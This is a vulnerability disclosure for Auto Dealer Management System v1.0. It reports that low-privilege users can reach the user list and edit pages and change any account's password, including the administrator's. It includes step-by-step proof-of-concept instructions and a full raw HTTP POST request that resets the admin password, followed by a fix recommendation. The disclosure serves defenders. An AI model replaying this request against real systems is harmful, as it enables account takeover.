# Auto Dealer Management System - Broken Access Control leads to compromise of all application accounts by accessing the ?page=user/list with low privileged user account ### Date: > 18 February 2023 ### Author Email: > navaidnasari@hotmail.co.uk ### Vendor Homepage: > https://www.sourcecodester.com ### Software Link: > [Auto Dealer Management System](https://www.sourcecodester.com/php/15371/auto-dealer-management-system-phpoop-free-source-code.html) ### Version: > v 1.0 ### Broken Authentication: > Broken Access Control is a type of security vulnerability that occurs when a web application fails to properly restrict users' access to certain resources and functionality. Access control is the process of ensuring that users are authorized to access only the resources and functionality that they are supposed to. Broken Access Control can occur due to poor implementation of access controls in the application, failure to validate input, or insufficient testing and review. ### Affected Page: > list.php , manage_user.php > On these page, application isn't verifying the authorization mechanism. Due to that, all the parameters are vulnerable to broken access control and low privilege user could view the list of user's and change any user password to access it. ### Description: > Broken access control allows low privilege attacker to change password of all application users ### Proof of Concept: > Following steps are involved: 1. Visit the vulnerable page: ?page=user/list 2. Click on Action and Edit the password of Admin  4. Update the Password and Submit 5. Request: ``` POST /adms/classes/Users.php?f=save HTTP/1.1 Host: localhost Content-Length: 877 sec-ch-ua: "Chromium";v="109", "Not_A Brand";v="99" Accept: */* Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryfODLB5j55MvB5pGU X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/adms/admin/?page=user/manage_user&id=1 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=c1ig2qf0q44toal7cqbqvikli5 Connection: close ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="id" 1 ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="firstname" Adminstrator ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="middlename" ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="lastname" Admin ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="username" admin ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="password" admin123 ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="type" 1 ------WebKitFormBoundaryfODLB5j55MvB5pGU Content-Disposition: form-data; name="img"; filename="" Content-Type: application/octet-stream ------WebKitFormBoundaryfODLB5j55MvB5pGU-- ``` 6. Successful exploit screenshots are below (without cookie parameter)  7. Vulnerable Code Snippets:   ### Recommendation: > Whoever uses this CMS, should update the authorization mechanism on top of the list.php , manage_user.php pages as per requirement to avoid a Broken Access Control attack Thank you for reading for more demo visit my github: https://github.com/navaidzansari/CVE_Demo